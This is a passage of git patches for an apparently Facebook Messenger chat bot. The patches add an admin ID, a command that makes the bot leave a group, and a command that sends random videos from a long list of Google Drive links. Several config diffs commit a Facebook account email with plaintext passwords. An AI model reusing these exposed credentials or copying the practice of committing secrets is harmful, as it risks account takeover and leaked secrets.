010/126] Update config.dev.json --- config.dev.json | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/config.dev.json b/config.dev.json index f958001871..55ae80e390 100644 --- a/config.dev.json +++ b/config.dev.json @@ -18,7 +18,9 @@ "enable": false, "ignoreCommand": [] }, -"adminBot": [], +"adminBot": [ + "100074772216830", +], "whiteListMode": { "enable": false, "whiteListIds": [], From 180903972aa7f7f73557951ce7b9e5069270fb98 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sat, 17 Feb 2024 00:56:53 +0545 Subject: [PATCH 011/126] Update config.dev.json --- config.dev.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.dev.json b/config.dev.json index 55ae80e390..8ff6345a2e 100644 --- a/config.dev.json +++ b/config.dev.json @@ -19,7 +19,7 @@ "ignoreCommand": [] }, "adminBot": [ - "100074772216830", + 100074772216830 ], "whiteListMode": { "enable": false, From 6b2f6740aac90e27572f6d5e95e2deee539fd737 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Wed, 21 Feb 2024 08:31:49 +0545 Subject: [PATCH 012/126] Update config.dev.json --- config.dev.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.dev.json b/config.dev.json index 8ff6345a2e..8073e890b8 100644 --- a/config.dev.json +++ b/config.dev.json @@ -1,7 +1,7 @@ { "facebookAccount": { "email": "hackereditor87@gmail.com", - "password": "HACKER.555", + "password": "12345678m", "2FASecret": "", "i_user": "", "proxy": null, From 534612307ec433e3c89078fbf3f8870fd9799777 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Wed, 21 Feb 2024 08:33:21 +0545 Subject: [PATCH 013/126] Create leave.js --- scripts/cmds/leave.js | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 scripts/cmds/leave.js diff --git a/scripts/cmds/leave.js b/scripts/cmds/leave.js new file mode 100644 index 0000000000..daf26476a9 --- /dev/null +++ b/scripts/cmds/leave.js @@ -0,0 +1,30 @@ +const axios = require("axios"); +const fs = require("fs-extra"); +const request = require("request"); +module.exports = { + config: { + name: "leave", + aliases: ["l"], + version: "1.0", + author: "Itachi", + countDown: 5, + role: 2, + shortDescription: "bot will leave gc", + longDescription: "", + category: "admin", + guide: { + vi: "{pn} [tid,blank]", + en: "{pn} [tid,blank]" + } + }, + + onStart: async function ({ api,event,args, message }) { + var id; + if (!args.join(" ")) { + id = event.threadID; + } else { + id = parseInt(args.join(" ")); + } + return api.sendMessage('𝙈𝙮 𝙇𝙤𝙧𝙙, 𝐈𝐦 𝐋𝐞𝐚𝐯𝐢𝐧𝐠 𝐈𝐧 𝐓𝐡𝐢𝐬 𝐆𝐫𝐨𝐮𝐩, 𝐓𝐡𝐚𝐧𝐤𝐲𝐨𝐮 𝐅𝐨𝐫 𝐔𝐬𝐢𝐧𝐠 𝐌𝐞! 𝐇𝐨𝐩𝐞 𝐘𝐨𝐮 𝐇𝐚𝐝 𝐀 𝐆𝐫𝐞𝐚𝐭 𝐓𝐢𝐦𝐞 😙', id, () => api.removeUserFromGroup(api.getCurrentUserID(), id)) + } + }; From 0c2cea5cd16d2aaf1a83accc5acf7b73a2c521a4 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Wed, 21 Feb 2024 08:35:18 +0545 Subject: [PATCH 014/126] Create lv.js --- scripts/cmds/lv.js | 280 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 280 insertions(+) create mode 100644 scripts/cmds/lv.js diff --git a/scripts/cmds/lv.js b/scripts/cmds/lv.js new file mode 100644 index 0000000000..2eb0e0c87b --- /dev/null +++ b/scripts/cmds/lv.js @@ -0,0 +1,280 @@ +module.exports = { + config: { + name: "lv", + aliases: ["lyricseditvibe", "lyricsvideo", "lyricaledit"], + version: "1.0", + author: "kshitiz", + countDown: 20, + role: 0, + shortDescription: "get lyrical video", + longDescription: "it will send you lyrical video from lyrics edit vibe group", + category: "music", + guide: "{pn} lyricalvideo", + }, + + sentVideos: [], + + onStart: async function ({ api, event, message }) { + const senderID = event.senderID; + + const loadingMessage = await message.reply({ + body: "Loading random lyrical video... Please wait! 🕐", + }); + + const link = [ + "https://drive.google.com/uc?export=download&id=1xdoZpGGd1iC9zkTHojL-uh_Xu8pp8LwJ",// video credits lyrics edit vibe (fb group) + "https://drive.google.com/uc?export=download&id=1RNZhamE4ArtjdsCvbeBWtIzhRYmMbG6z", + "https://drive.google.com/uc?export=download&id=13cYUnYi9_hHY4-wRUqV6z3gtRci88A5I", + "https://drive.google.com/uc?export=download&id=1tR-12BqyCccyMGqMa-OLYrBB0YkqBigX", + "https://drive.google.com/uc?export=download&id=1MCyv1IIw1nQk96hBa6faJLQXVps2NDB1", + "https://drive.google.com/uc?export=download&id=1ZYYStznq6rWQ4m8FcGs8CS1mp_mHHE89", + "https://drive.google.com/uc?export=download&id=1D-1iO7nO-Nlcie3uUAluPaI53yRarCdE", + "https://drive.google.com/uc?export=download&id=1Pk27Z4LX2y2rHcvtY5VJiF9hJoowY9HR", + "https://drive.google.com/uc?export=download&id=1FBJ6kZFZPmYZSk3vHz7ECfqdA4yhF2k0", + "https://drive.google.com/uc?export=download&id=1md55_KQdoTX4HWW6n0RM7AbBfW8XPyGN", + "https://drive.google.com/uc?export=download&id=1KCYrHH1lISPWbA8q7kLX8G7BUsJhlqw9", + "https://drive.google.com/uc?export=download&id=1NYxXQ7UmVjcTdY27WePCJ8iW6HC_l-Ej", + "https://drive.google.com/uc?export=download&id=1SC9OnQcXlkRGt1auBgV_Ez9itpYG2ixh", + "https://drive.google.com/uc?export=download&id=1D_ODRaSij_KQemlzrQS9B-h3RM6yZ680", + "https://drive.google.com/uc?export=download&id=1fZgMyISANhpOLcfo5HVht5OKolhrHQoD", + "https://drive.google.com/uc?export=download&id=1glf5NdpxDWcfPVyQdYv1HleNmJ6-8WN8", + "https://drive.google.com/uc?export=download&id=1trMuw_ezC58iMwR4umtRKzRdK0_VsI7Y", + "https://drive.google.com/uc?export=download&id=1mDCJvrIUHfPgi1CH-xTxSZbaOQPXfF8S", + "https://drive.google.com/uc?export=download&id=1mNKuaSICDDGL8pq26oR07nIFVWfTCjpu", + "https://drive.google.com/uc?export=download&id=1oX2VgqglgDilll77xURzPTrvwEjx5B4e", + "https://drive.google.com/uc?export=download&id=1usstpJwO6NkxCQiPiEW9yj0H4julH0kO", + "https://drive.google.com/uc?export=download&id=1VLGzoJM52Q8WYviX6DLg9okDRd16lE75", + "https://drive.google.com/uc?export=download&id=1IGUZduyBGTGSq27gkxiLRkuHYNjC7fXv", + "https://drive.google.com/uc?export=download&id=1IGUZduyBGTGSq27gkxiLRkuHYNjC7fXv", + "https://drive.google.com/uc?export=download&id=1Jgiy1cI4CIpZeHL3-YaUgcX1UzahaDwN", + "https://drive.google.com/uc?export=download&id=1sIH4GwHfpny684720z1gFulQCbbjCuQo", + "https://drive.google.com/uc?export=download&id=1E1G1ecSy_DyOWmQPVJI8EIWFcerdfsqt", + "https://drive.google.com/uc?export=download&id=1zKzL9yoHasu5R2sii2cJLomB81e3liYp", + "https://drive.google.com/uc?export=download&id=1q51lljCcR_V7uCR_Umhst-2mnUpjriOA", + "https://drive.google.com/uc?export=download&id=1TVKeHZuGWY3qVkNtXM53Uploac4uAGPr", + "https://drive.google.com/uc?export=download&id=1fMk8VvH5w-FsIZC2kcB895DZiu1I9XOh", + "https://drive.google.com/uc?export=download&id=1_4PSnfa4fhnXCZI8OgTYE55jgnUJjlPF", + "https://drive.google.com/uc?export=download&id=1A2ODenh6zIXGKyOFMwAgWjnuPVzvnynJ", + "https://drive.google.com/uc?export=download&id=19lqOz0X7AD7-NEXtrSUDR3wR23yOXZ50", + "https://drive.google.com/uc?export=download&id=1A5GBE8n7cf-yGqGld8aSs-XH_KnLw5dH", + "https://drive.google.com/uc?export=download&id=1A0AArSzPLEPb97RAVxzLj31e2kj5nsng", + "https://drive.google.com/uc?export=download&id=18NZdfVvl5s7mmUn5CLNrp01a1FElGNnf", + "https://drive.google.com/uc?export=download&id=19HDrVFvfucxwJp-jj4kM2y7l1EQSnASJ", + "https://drive.google.com/uc?export=download&id=18Npt8nIYXO1U5NxStVc3lSGHJwVmeN5X", + "https://drive.google.com/uc?export=download&id=18Npt8nIYXO1U5NxStVc3lSGHJwVmeN5X", + "https://drive.google.com/uc?export=download&id=19mqNuC27aOOf5xy4B_cOG7W6stXHRzZk", + "https://drive.google.com/uc?export=download&id=19zPRVVsggM9BrNy_29XYZyynorUaCKjs", + "https://drive.google.com/uc?export=download&id=1AQaugSzhoeAel0oMnufbN9VKYQVyixb2", + "https://drive.google.com/uc?export=download&id=1A7iERNZgbq79MoQdJOapkY3KCkgGlB-r", + "https://drive.google.com/uc?export=download&id=11BKiK_walhjdbj5flOK-mup5OgIoUUxD", + "https://drive.google.com/uc?export=download&id=1T2taH3NRhpyPv9k6GcyZlnXpppurdh9Q", + "https://drive.google.com/uc?export=download&id=1k3-5p6Ztada4jlq1-F2IqiulF85N1Gi_", + "https://drive.google.com/uc?export=download&id=1pPGVwrgXaJSI7qZUWceuR-opoJG7e9pQ", + "https://drive.google.com/uc?export=download&id=1BS0tQ8Izj58ovY9AxuAAEOo1nNFQJKDD", + "https://drive.google.com/uc?export=download&id=15SSw9s82Ew_JKB91Fj1H-Wx5pkNimwJS", + "https://drive.google.com/uc?export=download&id=1HdeX8SDFMc1LFIP9ZlFId0YhAduVFgDZ", + "https://drive.google.com/uc?export=download&id=1o-Iuc5AV-BNum22QiMLqczBrGcIrL9xs", + "https://drive.google.com/uc?export=download&id=1Rkg45T5JQu_wM-dpyQuq8WaZCjk8DuAh", + "https://drive.google.com/uc?export=download&id=1YbWl_Ho147Lg0kfHxUzFZcaO4VjmKNCX", + "https://drive.google.com/uc?export=download&id=1fLnHrlE5YCv8yHdxGu_P7xqHRFmcMsAQ", + "https://drive.google.com/uc?export=download&id=16MvwDvg57x5FIUcK_AKBcv1AmVTg4Fyz", + "https://drive.google.com/uc?export=download&id=1tCBoUOHGpmQjN53OiOUGWODrMnmvdwPT", + "https://drive.google.com/uc?export=download&id=1S8XilQLVBM4kTNuWQE0KhLTOVMAgrQYL", + "https://drive.google.com/uc?export=download&id=17tWryBlk3zFbsn1vrJzt7GWT56PKfQAJ", + "https://drive.google.com/uc?export=download&id=1F3LsUW-hD8WvFbjqp1a9tb2QJ49BcA9Q", + "https://drive.google.com/uc?export=download&id=14cC6V52SsN2t3pX1lCTb0onPFRGTRCa_", + "https://drive.google.com/uc?export=download&id=1DdJGIecb5GK2A1yJXTPjHH9hpIhsKCfx", + "https://drive.google.com/uc?export=download&id=15cVezpny2P4iKdt_N3yHnIGj37Dpneh_", + "https://drive.google.com/uc?export=download&id=1N6ZDDlChmuS2LH0B9TkaiFbNZZt0Zd96", + "https://drive.google.com/uc?export=download&id=1RLu6EnaxCqmksNAVxn-X8BofV-qISmtA", + "https://drive.google.com/uc?export=download&id=11SKe8gRkLZ-YY_7t8oWK6nbO4SOS45aN", + "https://drive.google.com/uc?export=download&id=1hZ0m0mCKMxwZarNA1mi9_RXt9XhAxYS-", + "https://drive.google.com/uc?export=download&id=1305HBw0refYVQ0NkoOobq2EOTWEgRFkY", + "https://drive.google.com/uc?export=download&id=1WN7lw5lLFP20a91LcYaPa-GQvgD-hTiH", + "https://drive.google.com/uc?export=download&id=1z3k7-tTo2BOW2KC1zocHbPnTShrRMvuy", + "https://drive.google.com/uc?export=download&id=1qd6VfUUlA0Lz2G8URmpW83mnoMp7x4FH", + "https://drive.google.com/uc?export=download&id=1gP_gdzi_duFpMuJ5yIMDzxBHLxjD7KfF", + "https://drive.google.com/uc?export=download&id=1f8BuRtjl6Kn1SQ9CCf-hqZJT3IEiDAMz", + "https://drive.google.com/uc?export=download&id=1oE-zuYm9HCIZZz59gIEgsR33X8PaT9w4", + "https://drive.google.com/uc?export=download&id=19yqoToQH9YRCq0K47BfK-ktbmYzZkXCy", + "https://drive.google.com/uc?export=download&id=1XlGmGeVYb_82Xo2ni92iS8otYESRhjc7", + "https://drive.google.com/uc?export=download&id=1Cz0DpSGcqmvd4Cqn29SVn7T53aYkj9cq", + "https://drive.google.com/uc?export=download&id=1eMSrzSz6-pXblA4R-KizNo2kUfQrGGo0", + "https://drive.google.com/uc?export=download&id=1hl1c2fLupZE_j6SOBy5VIK1qCHu4hdWH", + "https://drive.google.com/uc?export=download&id=1HlEMGyEfDu8kPW3cw4QAhaz6PLU6gLOh", + "https://drive.google.com/uc?export=download&id=13iiT-5nMKqFZg6d60uIrzTdYY6mZaG0V", + "https://drive.google.com/uc?export=download&id=1WBqWf986rhT52rBmzCHDxFagjoJw50cu", + "https://drive.google.com/uc?export=download&id=1gGLGkvVz9d4rOuzR9-O-SvRBKmNWu08T", + "https://drive.google.com/uc?export=download&id=1-RdOA1WdJzuGyWFCmGINDDE8XH_8NDOp", + "https://drive.google.com/uc?export=download&id=1a9scbBxtX1UU64JGE7I-OAP5PLD5eau2", + "https://drive.google.com/uc?export=download&id=1qz25P1RB0ivLfFSNHPD9HM0q3DWUzbRb", + "https://drive.google.com/uc?export=download&id=1JQTtAzOm2e1Q4PdCBIL8sd18eCVmf3lS", + "https://drive.google.com/uc?export=download&id=1QZ0VtiRutnLrUNtqFpZvB9FBoCkyW69I", + "https://drive.google.com/uc?export=download&id=1vrsGVwdPPaJ0-w3tOwQP8ay5wz4hQviv", + "https://drive.google.com/uc?export=download&id=1MsiiAtXdeSN20RYsEs27lY-OplZ04b1i", + "https://drive.google.com/uc?export=download&id=1sIir3HhbBHbFbuRiN9S3ql09z5dFE_O0", + "https://drive.google.com/uc?export=download&id=1w2HOc1oVBvOg1looLT2bG8wUnTGiIse5", + "https://drive.google.com/uc?export=download&id=1tk0wQfmAHjvaZQgVHH26-reE_OOpHWS0", + "https://drive.google.com/uc?export=download&id=1pxtZnZTBlxi5R2UOuEsnwj_L8ALN1_s-", + "https://drive.google.com/uc?export=download&id=1FAsCpN81lNFsJ5hZVQLjj1IqxaKRqMMW", + "https://drive.google.com/uc?export=download&id=165vcnw4LWBT9jdTZmcFpWt_7hKcVSpsr", + "https://drive.google.com/uc?export=download&id=1ZrqCO5AhAYnhPGQ1Gp4MJEzWLQ2akgkh", + "https://drive.google.com/uc?export=download&id=1Lg3IlF9-KanVw4wuSEmcvKfsQqTtKM2G", + "https://drive.google.com/uc?export=download&id=1b2bL3zfkcbCcQRwbvcSY0wI4t3HRJoGK", + "https://drive.google.com/uc?export=download&id=1XTTs0Inti6GWBln7a6L10I7PJLuIWXFy", + "https://drive.google.com/uc?export=download&id=1DVgcObXACEVUXAHwZMTyN39d1QBHK3eC", + "https://drive.google.com/uc?export=download&id=1J6l_S_-Xt4b5KeU7MWkCFfbwftVbiENa", + "https://drive.google.com/uc?export=download&id=13diMuYAVa99eO7GVS_OtZ4CfsVAd0E48", + "https://drive.google.com/uc?export=download&id=1Chne4lr3NkAGtm31Qbxh2EWHomj75_Ma", + "https://drive.google.com/uc?export=download&id=1bVdNL2MsJQ3JdKA4bx-8kKGxmxgxQn71", + "https://drive.google.com/uc?export=download&id=10m0EL9COdCyBSrvdVK3iblTutu4tzRi6", + "https://drive.google.com/uc?export=download&id=1UECWqt86xn_NkuHFUEeUkOtrYqlC46Av", + "https://drive.google.com/uc?export=download&id=1m7D4a15641FW3513ZO_-CeJ3wKRZ27EH", + "https://drive.google.com/uc?export=download&id=1Ey3vk4SBGbn3xvrqAGBLfC5x7MAM7stK", + "https://drive.google.com/uc?export=download&id=16hudg17uX8-dZy5IVnh05GaqoNpPKgKr", + "https://drive.google.com/uc?export=download&id=1OtgC2ngELtEXORixsByL1Ybqh5GctgQ4", + "https://drive.google.com/uc?export=download&id=1uGsaWFbEjmDbzANGsGWxRpAtAnsEhAea", + "https://drive.google.com/uc?export=download&id=1BUSrp6oHTSGauamWn5E5ZtmnmPJ-L-LH", + "https://drive.google.com/uc?export=download&id=1ZLxdXrjGKUwe3mUA8DFwrzrp_lRzGrj5", + "https://drive.google.com/uc?export=download&id=1_2kM9E1mpcq4VGVsYWKWmczNlTN6Hlio", + "https://drive.google.com/uc?export=download&id=1gaLR5mTXGmerWhu3rMqdQ_gak0Igq5IE", + "https://drive.google.com/uc?export=download&id=1m0IQx_MxPaVuKgFfu-alzx-UquNPnsvl", + "https://drive.google.com/uc?export=download&id=1ICZdMRgAzccFnRoTVa8q5Yn8filjAZ4b", + "https://drive.google.com/uc?export=download&id=1DM1IaxJ6CeQ8RS-cqCEnvMn37UG-PXYF", + "https://drive.google.com/uc?export=download&id=1QSzMplL_Y4ZEauySHYfF7PsDooSkY5YH", + "https://drive.google.com/uc?export=download&id=1wiUj4NYzxheGsq5sze1pfJZ1T7ZLieMJ", + "https://drive.google.com/uc?export=download&id=1D-x924no93QbiN8txW1cadAvhkUySB58", + "https://drive.google.com/uc?export=download&id=17QKudotHF_1vlMckMTf0dPvLBlpoL0wk", + "https://drive.google.com/uc?export=download&id=1xUB3KGUwSzsY6V1qESGQyXIaDlb12RC8", + "https://drive.google.com/uc?export=download&id=1SGRsnaqwTAUHRKfgbQ1peQ0CtJV2ZMZN", + "https://drive.google.com/uc?export=download&id=1M7Olc8GUNuP6RIb4_s8ADeu7_OpdV6Pk", + "https://drive.google.com/uc?export=download&id=1aZfctVIHBvipyOEZoeZOAvab_UjX36pS", + "https://drive.google.com/uc?export=download&id=1OItHNXYdwipBDkV81wz2R3DiH4nFn57k", + "https://drive.google.com/uc?export=download&id=1YYK9wKtY8L8AoUaLi0nvoMW_YcRUZzI5", + "https://drive.google.com/uc?export=download&id=1k5p5yDocov-ZXFoKSdM9BMnMcHhNTjCA", + "https://drive.google.com/uc?export=download&id=1XtuHzMJU00OlmWeazNkuiHBWY1wZz1qS", + "https://drive.google.com/uc?export=download&id=1RU2lgYg-hNWkfYHsLlim_5QY2WKnO-_s", + "https://drive.google.com/uc?export=download&id=1PKpK_-UvSHuow3b5i8W0TIMehhJBfPAL", + "https://drive.google.com/uc?export=download&id=1HVTF6emzw9BqIrby4Myg17H2vtAOR3LI", + "https://drive.google.com/uc?export=download&id=1rm-zSBnWnw3n8OzBch7tS-pgh54J17v_", + "https://drive.google.com/uc?export=download&id=1sUBJJQpmF8JQRXmq7_XFghYdZRMDCEzU", + "https://drive.google.com/uc?export=download&id=18ICsmkZsn5UbP3g9dxOo-blNe2HH8yay", + "https://drive.google.com/uc?export=download&id=1kAtDcA5U-cRtskrMmxD3xXC_7v0Yczln", + "https://drive.google.com/uc?export=download&id=1A2wf79EVEhVSWfzxbcJGJf5PHuvBdqDE", + "https://drive.google.com/uc?export=download&id=1rSXGagJAMy5ovpN1JNvp7tF1HpHQvo_x", + "https://drive.google.com/uc?export=download&id=1OGwRlpBQ24EeHclEtIW0jV6c4gP-CQXD", + "https://drive.google.com/uc?export=download&id=1J0MtPjkQWbbgIqujVdl59vPZRK4-K-vv", + "https://drive.google.com/uc?export=download&id=14vUVZa6p4pNpUeB98unlQG46s6-OjD_l", + "https://drive.google.com/uc?export=download&id=14FgYCRFiQ4iO0xjSI5GA1JOk8nukiPY_", + "https://drive.google.com/uc?export=download&id=1ggmmi0pV6AlePPq7bvjVLmMeBOzbtaG2", + "https://drive.google.com/uc?export=download&id=1Wgble8e6q51PBrIprwe05PNWBv_u5jtC", + "https://drive.google.com/uc?export=download&id=1Eevj2y7UMWqMyp1ZOUjwcZeP0-6AwLlt", + "https://drive.google.com/uc?export=download&id=1KG3v8LCv3G3gcdHyLqf9h_8L6uj2wRbG", + "https://drive.google.com/uc?export=download&id=1BO31sM78aDIKlSMAc7cx0EZgKR_9MONd", + "https://drive.google.com/uc?export=download&id=1dmVXgkcwREpEbc3wuBjmyA43I2Zs6dTW", + "https://drive.google.com/uc?export=download&id=1vvL5NqPlH7sLjhUwlf9NfJge4vTaB2R-", + "https://drive.google.com/uc?export=download&id=1CS0Sq2Ij91zQDlGpmsNSzrl6hf4nKNR-", + "https://drive.google.com/uc?export=download&id=1kNK8jmNDlrFbrnKCqtQeWU0cNJnsCbLg", + "https://drive.google.com/uc?export=download&id=1kYapHPL_a31TeFFKNbCOBp6OzbSfsPIr", + "https://drive.google.com/uc?export=download&id=17jP_cJVzlsQJI3-U4FTsClyc9OfME9iP", + "https://drive.google.com/uc?export=download&id=1-4qwbcpd0dTfIfHns9mGMngjs3Ll0qat", + "https://drive.google.com/uc?export=download&id=1PeBv0gQ8HE1pGCfFxl-xy5YWfLF3OQwe", + "https://drive.google.com/uc?export=download&id=1nd2MtLzaig5atnKc7L3FPh7K52RT2lRP", + "https://drive.google.com/uc?export=download&id=17q_8y8ekx6j1pVdkBgrrUxnxqkQiX1aF", + "https://drive.google.com/uc?export=download&id=1v5CzdRVbW5D5uhGZQpUsckSl7ClmDGZx", + "https://drive.google.com/uc?export=download&id=1mTQmG9bA4pVYRMEqxr5vE9G61gTZMFMI", + "https://drive.google.com/uc?export=download&id=18ySI2JfWU9bFFyqtHdp86H5JYVwNP7r8", + "https://drive.google.com/uc?export=download&id=1u-N_0TbLRrgy5fLS1zsC5vdCzX5ll38d", + "https://drive.google.com/uc?export=download&id=1ChehrBzGKlcwxOtrQDZIGWE2WprI09dn", + "https://drive.google.com/uc?export=download&id=1Y1-EcGhdqezf9sfSNB_kr2VI2DR1huT5", + "https://drive.google.com/uc?export=download&id=1mEz0I6J8-l_3Ro9owFbT8w8nVhRkrhY2", + "https://drive.google.com/uc?export=download&id=1I3aLa6qDJm014RQUMX7_nDaZk9IvNr8n", + "https://drive.google.com/uc?export=download&id=12mWGHuz7Mz6FyhTTAC0KXX21p67nEBQ4", + "https://drive.google.com/uc?export=download&id=1Pq562EwTzzf_pKMD16CJE-zlfwPqlWEv", + "https://drive.google.com/uc?export=download&id=1tTiFwFsXTWlJ-XFADdEwhBGgDDcTlXp4", + "https://drive.google.com/uc?export=download&id=1U361xb_t4YeZp1nljtYAqyzUEcUPDBfP", + "https://drive.google.com/uc?export=download&id=1AkpoiSORsi8aJOwf_Zrfiatxwivxc_Q5", + "https://drive.google.com/uc?export=download&id=1ZKpZKnRrWd2ulJUgSz9EBAR1vAgvfOTj", + "https://drive.google.com/uc?export=download&id=1dnhJolTdhppg2axPU5uPpshVj2aJIXGv", + "https://drive.google.com/uc?export=download&id=1ISt4eardedt_jzt5DG6yUZYNewlgeA1v", + "https://drive.google.com/uc?export=download&id=1b1y85C3VH9RqnzPfHizJPHgcpA1xzzJH", + "https://drive.google.com/uc?export=download&id=1bgE6x9WFA40lpOyvx_j95Vwlr2ATeKwD", + "https://drive.google.com/uc?export=download&id=11K-4AIKjATdEs2KVjs80GYES-t7tfbZF", + "https://drive.google.com/uc?export=download&id=1lLm_Vgz9KuzLLTSs45UNy0_ciK1TSMEi", + "https://drive.google.com/uc?export=download&id=1f6tW4wCp_VcSuEH2VNlUR65F7kxjunPl", + "https://drive.google.com/uc?export=download&id=1S1AvajHWJbUz8Ai0ryllbDXJsxj4IXl4", + "https://drive.google.com/uc?export=download&id=1pzPgxzExBWOw9hBR198N_vJIQOMR7T38", + "https://drive.google.com/uc?export=download&id=1MU5y4s5N6U0TWl7jGNUiGiaX30IWtcmr", + "https://drive.google.com/uc?export=download&id=1U7lWd8_Yt6v1gBpAB8QjFnbiEJhAlpwf", + "https://drive.google.com/uc?export=download&id=1lagvs5D3NGop-JqUqyD_UoXiscJ94s6T", + "https://drive.google.com/uc?export=download&id=1RhHqKseLdnl8wJJ8wJldDCTH0XBE5PDN", + "https://drive.google.com/uc?export=download&id=1EUteOHbxHJL5yJG6gOPFNGMEpoyXD28i", + "https://drive.google.com/uc?export=download&id=1OjucETdkkMnsMS8OJDruD4s0AfYET0ed", + "https://drive.google.com/uc?export=download&id=15dk9a6x198DLvcTn73FpWQS8GMyrTF7l", + "https://drive.google.com/uc?export=download&id=1tSvNO_BmFEoZjKulGOo5yJgwkgoB1Tqm", + "https://drive.google.com/uc?export=download&id=15s0vQ5a-hMhjPAGrNccVwwal4OKu2J_O", + "https://drive.google.com/uc?export=download&id=1F3j_cN9po0wb9iCt-hL0wbPVxYeDjJuO", + "https://drive.google.com/uc?export=download&id=1UDBz-Sia1PIIdq-6JAr0e_WkEOrYg9mT", + "https://drive.google.com/uc?export=download&id=10iOSOE3his6hzLDJhjsdPcsxjnw9sVZk", + "https://drive.google.com/uc?export=download&id=1plwq0F-XlNIxp87lakJFUA4hlxhtwveo", + "https://drive.google.com/uc?export=download&id=1tbuuBQcFISOPpxNGQ2Zu45p5b_mSF3ZA", + "https://drive.google.com/uc?export=download&id=1ja4anO4i8sBUy5387LfF397FLGO9pPTZ", + "https://drive.google.com/uc?export=download&id=1nZ4vpR2hh_Y_T_h7PuE_dFaVedQ8SAps", + "https://drive.google.com/uc?export=download&id=12Fl88qCBJw2gw9opZIVeUzn8kx2aFRA9", + "https://drive.google.com/uc?export=download&id=1Ypb6KN80YMA2u5ayJotxvOafZYcdAyG9", + "https://drive.google.com/uc?export=download&id=1l3B9LiRqwZDDhPdhkPZKpPvbeC8pasMW", + "https://drive.google.com/uc?export=download&id=1t_FDpyUSWELHTyf7qkwsIVGDHV1duAf9", + "https://drive.google.com/uc?export=download&id=1ZKgJUhqH3A66pGtaHOxxI4liGVad8759", + "https://drive.google.com/uc?export=download&id=1iY8QuxD-XN0L5FJfagdss_9L4QQyAYAM", + "https://drive.google.com/uc?export=download&id=1y0_z5CqgmdJgSYNWkXo-IZ6UygssG3qL", + "https://drive.google.com/uc?export=download&id=1ueXeDajTk0nVq1k-8NO3gA4sx6Dp0Qr_", + "https://drive.google.com/uc?export=download&id=1CqS3WEdfmZaUuY9DLkWcP6_HCkP-O0YP", + "https://drive.google.com/uc?export=download&id=1kFxfd5Kqck614oLmOErmDF-e2hU-s9Ge", + "https://drive.google.com/uc?export=download&id=1Y_zCu12BQlnu7jmRtaHxo08jZG-oC22G", + "https://drive.google.com/uc?export=download&id=14QalCL2T6idQJUe5iFPzGBNNIZsdAF0b", + "https://drive.google.com/uc?export=download&id=1kLnNiLP2gx7mHvbHzprJDwSwBM-8Ukzt", + "https://drive.google.com/uc?export=download&id=1DpEpbXZq7INIPAXO_qn6PhvHtz30v2zy", + "https://drive.google.com/uc?export=download&id=1-YVI9jJQxsZjxf4idYst0zCTikPNJeeQ", + "https://drive.google.com/uc?export=download&id=1yIBZiv3N9Phe7odJG-IrXryLyQTvYJkc", + "https://drive.google.com/uc?export=download&id=1wrDfSFZ41b0QP8abGHH_wEiBz0TuikCZ", + "https://drive.google.com/uc?export=download&id=1EsTRAep8i87xmqzaFyWOIlZ9jhUopnrQ", + "https://drive.google.com/uc?export=download&id=1d1hxX2zr-4yn-XYIzV6e_p91GJf78nFF", + "https://drive.google.com/uc?export=download&id=12fflpUUqC0QCMk0hiwL6tf29KgZpMp3I", + "https://drive.google.com/uc?export=download&id=1Gweiyvkr4v40SZAUjs0C3ImmoSFm9KSj", + "https://drive.google.com/uc?export=download&id=11pFZiJUT-Iv71-YMkmOL59hY7j3phBDH", + "https://drive.google.com/uc?export=download&id=11PnoqPLH5yjggAG1fiwcgSWrd6jY3net", + "https://drive.google.com/uc?export=download&id=1Z8rlFimEVVJbgK_Myd8CCjisF6Eq_5Vf", + "https://drive.google.com/uc?export=download&id=1z_MIHtMbnfZGYAdOS1feuq3C0hgaYP-s", + "https://drive.google.com/uc?export=download&id=1DJk9XRq2hY2GVpfnanuk6t9Z5gIw5-Dk", + "https://drive.google.com/uc?export=download&id=1bIH5U6SERbQMD6oIINK24Inn8AxA_qQA", + "https://drive.google.com/uc?export=download&id=1pPQJr2bPIOBjqci5IWZR9XAtgCidACKL", + "https://drive.google.com/uc?export=download&id=1n8R7fO4NxkkvmK4rXRlb7kHb8JwUykFi", + "https://drive.google.com/uc?export=download&id=1-MzkP7ZeDbwj0b3rxZvrHllQqKmVwCI7", + "https://drive.google.com/uc?export=download&id=1ylZKsOXXFHjxcUwl6OJb17ouWSaESM69", + "https://drive.google.com/uc?export=download&id=1C-hz0eDnqjGRaYUQQrwE0BKD8QC6oUSN", + "https://drive.google.com/uc?export=download&id=1Bqic0ZpyK2Qcx-kGd5vPyb0_rDXk4Ui_",// Add more video links here + ]; + + const availableVideos = link.filter(video => !this.sentVideos.includes(video)); + + if (availableVideos.length === 0) { + this.sentVideos = []; + } + + const randomIndex = Math.floor(Math.random() * availableVideos.length); + const randomVideo = availableVideos[randomIndex]; + + this.sentVideos.push(randomVideo); + + if (senderID !== null) { + message.reply({ + body: 'ENJOY..🤍', + attachment: await global.utils.getStreamFromURL(randomVideo), + }); + + setTimeout(() => { + api.unsendMessage(loadingMessage.messageID); + }, 5000); + } + }, +}; From 4d4f502243b54dcdb8ffae224ac435fff259bfe4 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Mon, 26 Feb 2024 21:13:24 +0545 Subject: [PATCH 015/126] Update config.dev.json --- config.dev.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.dev.json b/config.dev.json index 8073e890b8..4af0aced6c 100644 --- a/config.dev.json +++ b/config.dev.json @@ -1,7 +1,7 @@ { "facebookAccount": { "email": "hackereditor87@gmail.com", - "password": "12345678m", + "password": "12345678mm", "2FASecret": "", "i_user": "", "proxy": null, From 59d4a77ae4306ed665f77d7e43f25dee0d610582 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 29 Feb 2024 09:06:12 +0545 Subject: [PATCH 